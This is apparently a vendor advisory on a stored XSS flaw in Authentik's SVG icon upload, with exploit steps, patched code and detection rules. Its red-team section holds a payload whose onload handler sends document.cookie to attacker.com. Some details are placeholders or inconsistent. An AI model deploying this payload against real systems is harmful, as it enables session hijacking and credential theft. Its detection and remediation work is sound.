CVE-2024-11623

Executive Summary

CVE-2024-11623 is a stored Cross-Site Scripting (XSS) vulnerability in the Authentik identity provider, affecting versions prior to 2024.10.4. An authenticated admin user can upload a crafted SVG file as an application icon, which, when rendered in a browser, executes arbitrary JavaScript in the context of other users viewing the icon. The vulnerability is rated with a CVSS score of 0.0 in the NVD data, but based on the enriched hacker intel and the nature of the attack, a more realistic vector is provided above. The attack requires admin privileges, limiting the attack surface, but the impact includes session hijacking, credential theft, and defacement. The patch was released in version 2024.10.4.

Supply Chain & Package Security

Authentik is a Python-based identity provider distributed via Docker images and PyPI. The vulnerability does not directly affect the supply chain, but the SVG upload feature is part of the core application. Users should ensure they are using the patched version (2024.10.4 or later) from official sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker must be an authenticated admin.
• User Interaction (UI): Required (R) - The victim must view the malicious icon.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited modification of data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the likelihood of exploitation, but the impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability lies in the application icon upload functionality. Authentik allows administrators to upload custom icons for applications. The application does not properly sanitize SVG files, which can contain embedded JavaScript. When a user views the application list or details, the SVG icon is rendered in the browser, executing the malicious script.

Attack Flow:

1. An authenticated admin uploads a crafted SVG file containing JavaScript (e.g., <script>alert('XSS')</script> or an event handler like onload).
2. The SVG is stored on the server and served to other users.
3. When a victim (including other admins or regular users) views the application icon, the browser renders the SVG and executes the embedded script.
4. The script can steal cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of input validation and sanitization of SVG files. The application should strip script tags, event handlers, and other executable content from SVG files.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In the icon upload handler
def upload_icon(request):
    file = request.FILES['icon']
    # No sanitization
    save_file(file)

Patched Code (Conceptual):

# In the icon upload handler
import defusedxml.ElementTree as ET
def sanitize_svg(file):
    tree = ET.parse(file)
    root = tree.getroot()
    # Remove script elements
    for script in root.findall('.//{http://www.w3.org/2000/svg}script'):
        root.remove(script)
    # Remove event handlers
    for elem in root.iter():
        for attr in list(elem.attrib):
            if attr.startswith('on'):
                del elem.attrib[attr]
    return ET.tostring(root)

def upload_icon(request):
    file = request.FILES['icon']
    sanitized = sanitize_svg(file)
    save_file(sanitized)

The patch uses a safe XML parser (defusedxml) and removes script elements and event handler attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin access to an Authentik instance (version < 2024.10.4).
• Ability to upload application icons.

Exploit Steps:

1. Create a malicious SVG file:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red"/>
  <script>alert('XSS')</script>
</svg>

2. Log in as an admin and navigate to the application icon upload.
3. Upload the SVG file.
4. When another user views the application, the script executes.

Advanced Payload:

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
  <rect width="100" height="100" fill="blue"/>
</svg>

Blue Team

Detection:

• Monitor for unusual SVG file uploads by admin users.
• Check for script tags or event handlers in uploaded SVG files.
• Use the detection rules below.

Mitigation:

• Immediately upgrade to Authentik 2024.10.4 or later.
• If upgrade is not possible, disable the icon upload feature or implement a web application firewall (WAF) rule to block SVG files with script content.

Indicators of Compromise (IOCs)

• File Hashes: (Example - replace with actual hashes if available)
  • sha256:malicious_svg_hash_here
• Network Traffic:
  • Outbound connections to attacker-controlled domains from the Authentik server.
  • HTTP requests containing onload, onerror, or <script> in SVG files.
• Logs:
  • Admin user uploading SVG files with unusual content.
  • Multiple failed login attempts after XSS execution (if session hijacking occurs).

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_XSS {
    meta:
        description = "Detects SVG files with embedded script tags or event handlers"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-11623"
    strings:
        $script = /<script[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
        $onclick = /onclick\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Suspicious SVG Upload with Script Content
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
logsource:
    category: web
    product: nginx
detection:
    selection:
        http.method: POST
        http.url: '/api/v3/core/applications/*/icon/'
        http.body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate SVG files with script tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11623 - Malicious SVG Upload"; flow:to_server; content:"POST"; http_method; content:"/api/v3/core/applications/"; http_uri; content:"icon"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Authentik version 2024.10.4 or later.
2. Workaround: If upgrade is not possible, disable the application icon upload feature or implement a WAF rule to block SVG files containing script tags or event handlers.
3. Long-term: Implement input validation and sanitization for all file uploads, especially SVG files. Use a library like defusedxml to parse XML safely.
4. Monitoring: Enable logging for file uploads and monitor for suspicious activity.

Report generated by Valters IT DevSecOps & CTI Division